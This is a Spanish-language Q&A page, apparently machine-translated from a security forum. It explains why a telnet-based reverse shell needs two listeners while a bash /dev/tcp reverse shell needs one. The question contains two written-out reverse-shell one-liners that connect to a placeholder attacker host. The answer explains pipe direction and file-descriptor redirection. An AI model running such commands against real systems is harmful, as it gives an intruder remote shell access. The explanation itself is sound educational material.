Reversa la puerta trasera de la carcasa

2

¿Por qué este ejemplo de puerta trasera inversa requiere dos escuchas? El Oyente está usando el comando nc (nc -l).

telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>

Aunque el ejemplo a continuación de la puerta trasera de la cáscara inversa no necesita dos escuchas, solo se requiere uno.

/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1

Busqué la pregunta relacionada, pero no puedo encontrar la respuesta que coincida exactamente con lo que quiero saber ...

    
pregunta mhigu 31.10.2014 - 08:57
fuente

1 respuesta

2

Los tubos son conexiones "semidúplex": los datos solo fluyen a través de ellos en una dirección (desde el programa de la mano izquierda hasta el programa de la mano derecha). Si está utilizando tuberías para conectar su shell a la red, necesita dos de ellos: uno para manejar la entrada y otro para manejar la salida.

Las conexiones de red, como las que proporciona el sistema de archivos pseudo /dev/tcp en su segundo ejemplo, son bidireccionales: los datos pueden fluir en ambas direcciones. La redirección de salida ( > /dev/tcp/<attacker_ip>/<port> crea la red y enlaza la salida estándar del shell a la entrada de conexión. 0<&1 significa "conectar entrada estándar al mismo lugar que la salida estándar" (la conexión de red), y 2>&1 significa "conectar salida de error al mismo lugar que la salida estándar "(la conexión de red, otra vez).

    
respondido por el Mark 31.10.2014 - 10:24
fuente

Lea otras preguntas en las etiquetas